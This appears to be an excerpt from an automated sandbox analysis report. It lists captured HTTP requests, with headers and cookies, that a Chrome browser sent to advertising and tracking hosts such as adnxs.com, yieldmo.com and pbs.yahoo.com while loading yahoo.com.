Source: global traffic	HTTP traffic detected: GET /v000/t_tkr/ev?type=hi&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /v000/t_tkr/ev?type=r&pvid=3526568451959556956&pvt=1714257719710&plid=3494600134447014563&imp=1121930830413873533&rep_meta=OxryVXEwpTm169ULoMdnxAilR3dTHvW2h7fbytaLWZP-nZT0JZkBWv0a__McT6GnlJtFYZh_XhsVXt7s4C4_InXOHoL8uA49xwCPNEqdQURmDBproG_MMwpQTaI8I41HEqzYQVFZ8CswUJpGTJPeTZj-jR-x7Rdj4crYbAxKS27RjCaX1XxKNyO3ReoPhUKoIXdsDD-XidSuQml9bQyntX58ZFvAn5-JDPwdIlFrpWV3EAzQRVlwvoB5MMDNz246SkyjZQjh6RFpl-aXvasSZEea8Vb2WB_jg8eGJ_GECFl_zIU2ljc3NqGIB4z07Kmc7Hn9o1ElR3WwqXDftg4jCiD_84mMiCEnbb3oVN6p2fr_jn9SttB6BFoUuPDzSgbHWRATjTgOd1oiu1jUvgRXyBG6IPiXSMYBrUTsFFWOeCo HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /sadbundle/13259857157114927549/CB1-Curi_300x600/player.js HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://s0.2mdn.net/sadbundle/13259857157114927549/CB1-Curi_300x600/index2.html?ev=01_250Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?bidder=ttd&uid=43e7dc8e-5458-4375-be4a-644737ed4dbd&gdpr=0&gdpr_consent= HTTP/1.1Host: pbs.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; uids=eyJ0ZW1wVUlEcyI6eyJvcGVueCI6eyJ1aWQiOiJlMzcxYjFjZC1iMjUzLTA5MTMtMTUzYS1lYWFjYjliOTRjNTMiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNi4yMDMzNzYwOTVaIn0sInNoYXJldGhyb3VnaCI6eyJ1aWQiOiI1MWI5NTEzZC0zMWZiLTRlMTMtOGE5Ni0zMjY2MTZkMDA0M2YiLCJleHBpcmVzIjoiMjAyNC0wNS0xMVQyMjo0MjowNC44NTk4NDk2OFoifX19
Source: global traffic	HTTP traffic detected: GET /ab?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QKHDvBMBwcAAAMA1gAFAQi3_rWxBhD1556Ezbep80wY3s-3-_Wh4JRTKjYJ5Rk09E9w3T8RbP2hVwuF1T8ZAAAAgOtRH0AhbP2hVwuF1T8p4xkJJAQxAAUBuPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBAQbwPpgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaQEUFDk0NjQzORUULGcnLCAyNTQ1MzQ4NxUVLGMnLCA2MDUzNDE5MhUVMHInLCA1MTAyNDMyMjAFFvReAZIClQUhX29hM0lBaXcyLTRjRUpUanB2TUJHQUFnanBhWEFUQUJPQUJBQUVpVWRsQ0s0dGtLV0FCZ3JnTm9BSEFFZU1RUGdBRU1pQUhFRDVBQkFaZ0JBYUFCQXFnQkFyQUJBTGtCcm92MGwxMXczVF9CQWE2TDlKZGRjTjBfeVFFQUFBQUE1VWpxUDlrQkFBQUFBQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnQUFBQUM5QWdBQUFBREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQUFBQUFBQUFESkJBQUFBQQHOEEFBMFFRCQkoTUFoUU5nRUFQRUUJEQEBIENJQlp3anFRVQENATwQd1A3RUYBCgkBCERCQg0_AQEAeRUoDEFBUU4yKAAAWhUoSFBBXzRBV3U1d0xxQlNZSUF4SWkBWfBlNnRaUnNwcTZCQXY2Y1hwTzFHcGNtSHNGZkxzM2tweWgwa3BDQ29nMVNmQUZyOGVSRFBnRnRKalZCSUlHQTFWVFJJZ0dBSkFHQVpnR0FLRUd6Y3pNek16TV9ELW9CZ1N5QmlRSkFBAaYFAQBSBQYJAQBaCQcFAQBoBQYFAZBDNEJncUJDQUJhOGFWY2NNMF9pQWdBa0FnQZoCmQEhV2hqdjhBOpkCNEk2V2x3RWdBQ2dBTWMzBYFcelB3X09nbE9XVTB5T2pRMU1EaEFvVVpKBWQUQUFBOEQ5HY0AQh2NAEIdjQRCcAEsCQEEQngJCCBEQUlVQjRBSWtdncA4LtgCAOAC9ts96gIWaHR0cHM6Ly93d3cueWFob28uY29tL_ICEQoGQURWX0lEEgc5acQc8gISCgZDUEcBFAAIcbAY8gIKCgVDUAEURAEw8gINCghBRFZfRlJFURIBNgUQHFJFTV9VU0VSBSAADAkgGENPREUSAPIBDwFREQ8QCwoHQ1AVDhAQCgVJTwFZAAeNMRjyAh0KB0lPCSEYEjAwNkFYMAEBYDY0a0txWUFJ8gITCg9DVVNUT01fTU9ERUwBPRQA8gIaChYyFgAcTEVBRl9OQU0FgwgeCho2HQAIQVNUAT4QSUZJRUQBPhwNCghTUExJVAFN8IEBMIADAIgDAZADAJgDFKADAaoDAMAD2ATIAwDYA4AF4AMA6AMA-AMDgAQAkgQJL29wZW5ydGIymAQAogQMMTQ5LjE4LjI0LjY5qATizBWyBAwIABAAGAAgADAAOAK4BADABADIBADSBA8xNTEyNCNOWU0yOjQ1MDjaBAIIAeAEAPAEpaEgiAUBmAUAoAX_EQF8AaoFFzM1MjY1Njg0NTE5NTk1NTY5NTY6MzowwAUAyQWl7BgA8D_SBQkJCQxwAADYBQHgBQHwBUD6BQQIABAAkAYAmAYAuAYAwQYJIyzwP9AGiv0F2gYWChAJEhkBAbaQ4AYB8gYCCACABwGIBwCgBwG6BwgqBDFZTk5AAcgH9ekF0gcNCREzATEI2gcGAWngGADgBwDqBwIIAPAHmKDfA4oIAhAAlQgAAIA_mAgBwAgA0ggOCIGChIiQoMCAARAAGADaCAQIACAA&s=07ac1368b305a88836ac8e6ca9f75323907fc631&pp=0.336245 HTTP/1.1Host: nym1-ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=medianet&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1Host: rtb-use.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: c=1714257726; tuuid_lu=1714257726; tuuid=786797b7-bf38-456a-a874-4aad6fb5186b
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fpbs.yahoo.com%252Fsetuid%253Fbidder%253Dappnexus%2526gdpr%253D0%2526gdpr_consent%253D%2526gpp%253DDBAA%2526gpp_sid%253D-1%2526f%253Di%2526uid%253D%2524UID HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061
Source: global traffic	HTTP traffic detected: GET /checksync.php?vsSync=1&cs=9&cv=31&https=1&cid=8CU2K123F&prvid=2034%2C2031%2C2030%2C550%2C233%2C2028%2C2027%2C236%2C2025%2C2069%2C237%2C117%2C97%2C55%2C99%2C3012%2C3010%2C244%2C201%2C2039%2C3007%2C246%2C4%2C126%2C203%2C326%2C9%2C2012%2C2055%2C172%2C3020%2C251%2C175%2C450%2C2009%2C178%2C3018%2C3017%2C214%2C459%2C70%2C77%2C38%2C2023%2C2022%2C141%2C262%2C461%2C222%2C10000%2C80%2C108&itype=PREBID&purpose1=1&gdprconsent=1&gdpr=0&coppa=0&usp_status=1&usp_consent=1&uspstring=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: usp_status=1; visitor-id=3572593249104590000V10
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=intentiq&seller_network=medianet_&bid_id=050da2ed-bd03-435f-be54-555e9e2da636&initiator=me&us_privacy=1YNN&gdpr=0 HTTP/1.1Host: rtb-use.mfadsrvr.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: c=1714257726; tuuid_lu=1714257726; tuuid=786797b7-bf38-456a-a874-4aad6fb5186b
Source: global traffic	HTTP traffic detected: GET /rd_log?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QKHDvSoAQcHAAADANYABQEIt_61sQYQ9eeehM23qfNMGN7Pt_v1oeCUUyo2CY-2CMZNcN0_EaJinL8JhdU_GQAAAIDrUR9AIWz9oVcLhdU_KeMZNPRPcN0_MQAAAAAAAPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBA1VTRJgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaScsIDk5NDY0MzksIDApO3VmKCdnJywgMjU0NTM0ODcsIDApO3VmKCdjJywgNjA1MzQxOTIsIDApO3VmKCdyJywgNTEwMjQzMjIwLCAwKTuSApUFIV9vYTNJQWl3Mi00Y0VKVGpwdk1CR0FBZ2pwYVhBVEFCT0FCQUFFaVVkbENLNHRrS1dBQmdyZ05vQUhBRWVNUVBnQUVNaUFIRUQ1QUJBWmdCQWFBQkFxZ0JBckFCQUxrQnJvdjBsMTF3M1RfQkFhNkw5SmRkY04wX3lRRUFBQUFBNVVqcVA5a0JBAQ2AQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnASIEQzkJCPCQREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQQGdFEFBQURKQgEHDQEIMFFRCQogTUFoUU5nRUFQLiwAIENJQlp3anFRVQkkGEFEd1A3RUYNDQFMBEJCDT8BAQB5FSgMQUFRTjIoAABaFShIUEFfNEFXdTV3THFCU1lJQXhJaQFJ8GU2dFpSc3BxNkJBdjZjWHBPMUdwY21Ic0ZmTHMza3B5aDBrcENDb2cxU2ZBRnI4ZVJEUGdGdEpqVkJJSUdBMVZUUklnR0FKQUdBWmdHQUtFR3pjek16TXpNX0Qtb0JnU3lCaVFKQUEBpgUBAFIFBgkBAFoJBwUBAGgFBgUB8ENDNEJncUJDQUJhOGFWY2NNMF9pQWdBa0FnQZoCmQEhV2hqdjhBaXcyLTRjRUpUanB2TUJHSTZXbHdFZ0FDZ0FNYzNNegGDWFB3X09nbE9XVTB5T2pRMU1EaEFvVVpKBWRFUQA5HY0AQh2NAEIdjQRCcAEsCQEEQngJCCBEQUlVQjRBSWs10PBAOEQ4LtgCAOAC9ts96gIWaHR0cHM6Ly93d3cueWFob28uY29tL_ICEQoGQURWX0lEEgc5Nzg0Mzcy8gISCgZDUEcBFAwIMjU0ZbAY8gIKCgVDUAEURAEw8gINCghBRFZfRlJFURIBNgUQHFJFTV9VU0VSBSAADAkgGENPREUSAPIBDwhDUEcVDxALCgdDUBUOEBAKBUlPAVkIBzk5hTEY8gIdCgdJTwkhGBIwMDZBWDABAWA2NGtLcVlBSfICEwoPQ1VTVE9NX01PREVMAT0UAPICGgoWMhYAHExFQUZfTkFNBYMIHgoaNh0ACEFTVAE-EElGSUVEAT4cDQoIU1BMSVQBTfD9ATCAAwCIAwGQAwCYAxSgAwGqAwDAA9gEyAMA2AOABeADAOgDAPgDA4AEAJIECS9vcGVucnRiMpgEAKIEDDE0OS4xOC4yNC42OagE4swVsgQMCAAQABgAIAAwADgCuAQAwAQAyAQA0gQPMTUxMjQjTllNMjo0NTA42gQCCAHgBADwBJTjpvMBiAUBmAUAoAX___________8BqgUXMzUyNjU2ODQ1MTk1OTU1Njk1NjozOjDABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUB8AVA-gUECAAQAJAGAJgGALgGAMEGAAAAAAAA8D_QBor9BdoGFgoQAAAAAADBMQ0BAbaQ4AYB8gYCCACABwGIBwCgBwG6BwgqBDFZTk5AAcgH9ekF0gcNCQ0wBTEI2gcGAWngGADgBwDqBwIIAPAHmKDfA4oIAhAAlQgAAIA_mAgBwAgA0ggOCIGChIiQoMCAARAAGADaCAQIACAA&s=3d004cf8817e18e52611fcde98fbcf9833a2a580&bdref=https%3A%2F%2Fwww.yahoo.com%2F&bdtop=true&bdifs=2&bstk=https%3A%2F%2Fwww.yahoo.com%2F,https%3A%2F%2F7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com%2Fsafeframe%2F1-0-40%2Fhtml%2Fcontainer.html,https%3A%2F%2F7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com%2Fsafeframe%2F1-0-40%2Fhtml%2Fcontainer.html& HTTP/1.1Host: nym1-ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest
Source: global traffic	HTTP traffic detected: GET /it?an_audit=0&referrer=https%3A%2F%2Fwww.yahoo.com%2F&e=wqT_3QLuC_SoAe4FAAADANYABQEIt_61sQYQ9eeehM23qfNMGN7Pt_v1oeCUUyo2CY-2CMZNcN0_EaJinL8JhdU_GQAAAIDrUR9AIWz9oVcLhdU_KeMZNPRPcN0_MQAAAAAAAPA_MIri2Qo45z1AlHZIAlCU46bzAViOlpcBYABooLBnePXpBYABAYoBA1VTRJIBA1VTRJgBrAKgAfoBqAEBsAEAuAECwAEFyAEC0AEJ2AEA4AEA8AEAigJodWYoJ2EnLCA5Nzg0MzcyLCAwKTt1ZignaScsIDk5NDY0MzksIDApO3VmKCdnJywgMjU0NTM0ODcsIDApO3VmKCdjJywgNjA1MzQxOTIsIDApO3VmKCdyJywgNTEwMjQzMjIwLCAwKTuSApUFIV9vYTNJQWl3Mi00Y0VKVGpwdk1CR0FBZ2pwYVhBVEFCT0FCQUFFaVVkbENLNHRrS1dBQmdyZ05vQUhBRWVNUVBnQUVNaUFIRUQ1QUJBWmdCQWFBQkFxZ0JBckFCQUxrQnJvdjBsMTF3M1RfQkFhNkw5SmRkY04wX3lRRUFBQUFBNVVqcVA5a0JBAQ2AQUFBOERfZ0FjZUszd1QxQVdabTVqLVlBZ0NnQWdLMUFnASIEQzkJCPCQREFBZ3pJQXNRUDBBSU0yQUxFRC1BQ0FPZ0NBUGdDQUlBREFaZ0RBYUlERGdqNjV1YzRFQVFZQVMySkMzODVvZ01WQ0wzMHlqZ1FDaGdCTFNoSFVqOHlCV04wTWpreHVnTUpUbGxOTWpvME5UQTQ0QU9oUm9BRTJjam9EWWdFOXNlU0RwQUVBWmdFQk1FRUFBQQGdFEFBQURKQgEHDQEIMFFRCQogTUFoUU5nRUFQLiwAIENJQlp3anFRVQkkGEFEd1A3RUYNDQFMBEJCDT8BAQB5FSgMQUFRTjIoAABaFShIUEFfNEFXdTV3THFCU1lJQXhJaQFJ8GU2dFpSc3BxNkJBdjZjWHBPMUdwY21Ic0ZmTHMza3B5aDBrcENDb2cxU2ZBRnI4ZVJEUGdGdEpqVkJJSUdBMVZUUklnR0FKQUdBWmdHQUtFR3pjek16TXpNX0Qtb0JnU3lCaVFKQUEBpgUBAFIFBgkBAFoJBwUBAGgFBgUB8ENDNEJncUJDQUJhOGFWY2NNMF9pQWdBa0FnQZoCmQEhV2hqdjhBaXcyLTRjRUpUanB2TUJHSTZXbHdFZ0FDZ0FNYzNNegGDWFB3X09nbE9XVTB5T2pRMU1EaEFvVVpKBWRFUQA5HY0AQh2NAEIdjQRCcAEsCQEEQngJCCBEQUlVQjRBSWs10PQgAThEOC7YAgDgAvbbPeoCFmh0dHBzOi8vd3d3LnlhaG9vLmNvbS-AAwCIAwGQAwCYAxSgAwGqAwDAA9gEyAMA2AOABeADAOgDAPgDA4AEAJIECS9vcGVucnRiMpgEAKIEDDE0OS4xOC4yNC42OagE4swVsgQMCAAQABgAIAAwADgCuAQAwAQAyAQA0gQPMTUxMjQjTllNMjo0NTA42gQCCAHgBADwBJTjpvMBiAUBmAUAoAX___________8BqgUXMzUyNjU2ODQ1MTk1OTU1Njk1NjozOjDABQDJBQAAAAAAAPA_0gUJCQAAAAAAAAAA2AUB4AUB8AVA-gUECAAQAJAGAJgGALgGAMEGAAAAAAAA8D_QBor9BdoGFgoQAAAAAAChGA0BAbaQ4AYB8gYCCACABwGIBwCgBwG6BwgqBDFZTk5AAcgH9ekF0gcNCQ0wBTEM2gcGCAUJ2OAHAOoHAggA8AeYoN8DiggCEACVCAAAgD-YCAHACADSCA4IgYKEiJCgwIABEAAYANoIBAgAIAA.&s=d41cffbc6cbbca1777977d79ab68711a14122ee3 HTTP/1.1Host: nym1-ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
Source: global traffic	HTTP traffic detected: GET /beacon/prebid-server/?&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp_sid=-1&gpp=DBAA&url=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dsovrn%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /dcm/dcmads.js HTTP/1.1Host: www.googletagservices.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v/s/243/trk.js HTTP/1.1Host: cdn.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
